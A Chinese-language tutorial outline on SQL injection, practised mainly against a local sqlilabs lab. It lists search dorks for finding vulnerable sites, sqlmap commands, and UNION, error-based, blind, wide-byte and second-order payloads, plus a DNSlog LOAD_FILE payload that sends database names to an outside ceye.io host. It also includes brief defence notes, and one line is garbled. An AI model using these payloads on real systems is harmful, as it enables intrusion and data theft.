文章目录
SQL注入
寻找SQL注入点
目标搜集
无特定目标
- inurl:php?id=
有特定目标
- inurl:php?id= site:target.com
工具爬取
- spider,对搜索引擎和目标网站的连接进行爬取
注入识别
手工简单识别
-
and 1=1 / and 1=2
-
and ‘1’='1 / and ‘1’='2
-
and 1 like 1 / and 1 like 2
工具识别
sqlmap -m filename (filename中保存检测目标)
sqlmap --crawl (sqlmap对目标网站进行爬取,然后依次进行测试)
高级识别
拓展广度和深度
-
sqlmap --level 增加测试级别(1-5),对head中的相关参数也进行测试
-
sqlmap -r filename (file中为网站请求数据)
利用工具提高识别效率
-
burpsuite+sqlmap
-
burpsuite拦截所有浏览器访问提交的数据
-
burpsuite扩展插件,直接调用sqlmap进行测试(插件-SQLiPy Sqlmap Intergration || 也可以自己写插件)
一些Tips:
-
可以在参数后键入“*”来确定想要测试的参数
-
可能出现注入的点:新闻、登陆、留言
-
站在开发的角度去寻找
代码审计
-
搜索关键代码和函数
-
梳理业务流程
例子:强网杯WEB"python is the best language"
SQL注入流程
流程导图
信息搜集
数据获取
手工查询
-
查库
select schema_name from information_schema.schemata
-
查表
select table_name from information_schema.tables where table_schema=库名 \ 0x库名 \ database()
-
查列
select column_name from information_scheme.columns where table_name=表名
-
查数据
select 列名 from 库名.表名
提示
- 所有的Sql注入,都是基于查库、表、列语句
- 如果数据太多导致无法查询结果
查询的场景:可利用limit限定返回的数量及位置,依次查询
回显数据的场景:concat() ,group_concat(),concat_ws()+limit - 在一些场景,想要快速获取数据,需借助工具,如:BurpSuite
提权
SQL注入分类
UNION联合查询注入
UNION操作符用于合并两个或多个SELECT语句的结果集
注意:
-
UNION内部的SELECT语句必须拥有相同数量的列。
-
列也必须拥有相似的数据类型。
-
同时每条SELECT语句中的列的顺序必须相同。
-
默认情况下,UNION操作符选取不同的值。如果允许重复的值,则使用UNION ALL。
UNION注入应用场景
- 只有最后一个SELECT子句允许有ORDER BY;
- 只有最后一个SELECT子句允许有LIMIT;
- 只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果;
- 注入点页面有回显;
UNION注入过程
ORDER BY猜出来的列数超过数据库表中的列数,报错并不能返回出数据
- ORDER BY 确定列数
- 观察页面返回,选取可以显示数据的位置,进行下一步的注入
- 读库信息
- 读表信息
- 读字段
- 读数据
报错注入
构造payload让信息通过错误提示回显出来
应用场景
查询不回现内容,会打印错误信息
Update、insert等语句,会打印错误信息
方法
凡是能够让错误信息显示的函数(语句),都能实现报错注入,以下列举3种。
- foor()
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))
//concat:连接字符串功能
//floor:取flout的整数值
//rand:取0~1之间的随机浮点值
//group by:根据一个或多个列对结果集进行分组并有排序功能
- extractvalue()
select extractvalue(1,concat(0x7e,(select user()),0x7e))
//去掉select也可以
extractvalue(1,concat(0x7e,(user()),0x7e))
- updatexml()
select updatexml(1,concat(0x7e,(select user()),0x7e),1)
盲注
布尔盲注
原理
构造语句来判断数据库信息的正确性,再通过页面的‘真’和‘假’(状态)来识别我们的判断是否正确。
举个猜单词的例子:“good”,第一位我猜是‘’a‘’,页面返回假,但是我猜‘g’,页面就返回真。然后依次猜后面的字母。
布尔盲注的方法
构造逻辑判断语句,判断信息的真假,取出所有的真值,实现SQL注入
序号 | 方法 | 说明 |
---|---|---|
1 | left()函数 | left(database(),1)>‘s’ //判断database()的前一位是否大于’s’ database()显示数据库名称,left(a,b)从左侧截取a的前b位 |
2 | regexp | select user() regexp ‘^r’ //判断user()的头位置是否为’r’ 正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式 |
3 | like | select user() like 'ro%' 与regexp类似,使用like进行匹配 |
4 | substr()函数 ascii()函数 | ascii(substr((select database()),1,1))≠98 substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将字符转换为ascii值 |
5 | ord()函数 mid()函数 | ord(mid((select user()),1,1))=114 mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数通ascii,将字符转为ascii值 |
时间盲注
原理
代码存在SQL注入漏洞,然而页面不会回显数据,也不会回显错误信息;
语句执行后也不知道真假,我们不能通过页面返回的内容来进行判断;
可以构造语句,通过页面响应的市场,来判断信息,这就是时间盲注
时间盲注的方法
构造逻辑语句,通过条件语句进行判断,为真立刻执行,否则延时执行
核心语法 | 真实场景 |
---|---|
if(left(user(),1)=‘a’,0,sleep(3)) | if(ascii(substr(user(),1,1))>115,0,sleep(2))%23 |
Dnslog盲注
代码存在SQL注入漏洞,然而页面既不会回显数据,也不会显示错误显示;
我们通过布尔或者时间盲注可以获取到内容,但是整个过程效率较低,需要发送很多的请求进行判断,很肯能会出发安全设备的防护;
我们需要一种方式,减少请求 ,直接回显数据,这里可以使用Dnslog实现注入。
Dnslog平台:http://ceye.io
原理
DNS在解析的时候回留下日志 ,通过读取多级域名的解析日志,获取请求信息。
MySql LOAD_FILE函数可以发起请求:
SELECT LOAD_FILE(CONCAT(’\\’,‘test’,’.mysql.6pd3g5.ceye.io\abc’));
Dnslog盲注方法
构造语句,利用load_file()函数发起请求,使用Dnslog接收请求,获取数据
Tips:目标服务器必须是Windows,应为LOAD_FILE函数不能运行在Linux 下。
通过SQL语句查询内容,作为请求的一部分,发送至Dnslog;
只要对这一部分的语句进行构造,就能实现有回显的SQL注入;
值得注意的是,这些数据格式和内容队友限制(:,~,@),需要进行一些处理。
#sqlilabs环境下:
http://127.0.0.1/sqlilabs/Less-1/?id=1' and if((SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.6pd3g5.ceye.io\\abc'))),1,1)--+
#navicat环境下:
SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.6pd3g5.ceye.io\\abc'));
宽字节注入
字符大小为一个字节就为窄字节
字符大小为两个字节就位宽字节
宽字节:GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际为两字节。
防御
使用UTF-8,避免宽字节注入;
- ps:不仅在gbk、韩文、日文等等都是宽字节,都有可能存在宽字节注入漏洞
- mysql_real_escape_string,mysql_set_charset(‘gbk’,$conn);
- 可以设置参数,character_set_client=binary,
例如 r e s u l t = m y s q l q u e r y ( " c h a r a c t e r s e t c l i e n t = b i n a r y " , result=mysql_query("character_set_client=binary", result=mysqlquery("charactersetclient=binary",sql);
原理
输入 处理 编码 带入SQL
' \' %5c%27 \' id=1\' and >>不能注入
//MySQL在使用GBK编码的时候,会认为两个字符为一个函数
%df %df\' %df%5c%27 啊' id=啊' and >>可以注入
两个字符组合,认为是一个汉字
注:前一个ASCII码大于128才能到汉字的范围
方法
在注入点后键入%df,然后按照正常的流程开始注入
sqlilabs-less-32(测试环境)
注入
手工
//黑盒测试
在可能的注入点后键入%df,之后进行注入测试
//白盒测试
1.查看MySQL编码是否为GBK
2.是否使用preg_replace把单引号替换成\'
3.是否使用addslashes进行转义
4.是否使用mysql_real_escape_string进行转义
sqlmap
//在参数id=1后加%df
python sqlmap.py -u http://localhost/sqlilabs/Less-32/?id=1%df
二次编码注入
为什么要编码?
e.g.
?id=1&username=admin&passwd=admin
假如用户的username中存在&、?就会和URL 冲突
宽字节注入和二次注入都是在面对PHP代码或配置,对输入的’(单引号)进行转义的时候,在处理用户输入数据是存在问题,可绕过转义。
原理
urlencode()与PHP本身编码时,两者配合失误,构造数据消灭\
用户输入 PHP自身编码 转义 带入SQL
id=1%27 id=1' id=1\' id=1\' and <<不能注入
用户输入 PHP自身编码 转义 函数编码 带入SQL
id=1%2527 id=1%27 id=1%27 id=1' id=1' and <<可以注入
注入
手工
//黑盒测试
在可能的注入点后键入%2527,之后进行注入测试
?id=1%2527
//白盒测试
1.是否使用户urldecode
2.urldecode函数是否在转义的方法之后
sqlmap
python sqlmap.py -u http://localhost/sqlilabs/Less-32/?id=1%2527
二次注入
原理
-
插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还保留了原来的数据,但是数据本身包含恶意内容。
-
引用恶意数据
在将数据存入到数据库之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
示意图
练习
sqlilabs-less-24
防御
对外部提交的数据,需要更加谨慎的对待。
程序内部的数据调用,也要更严格的进行检查,一旦不小心,测试者就能将特定的SQL语句带入到查询当中。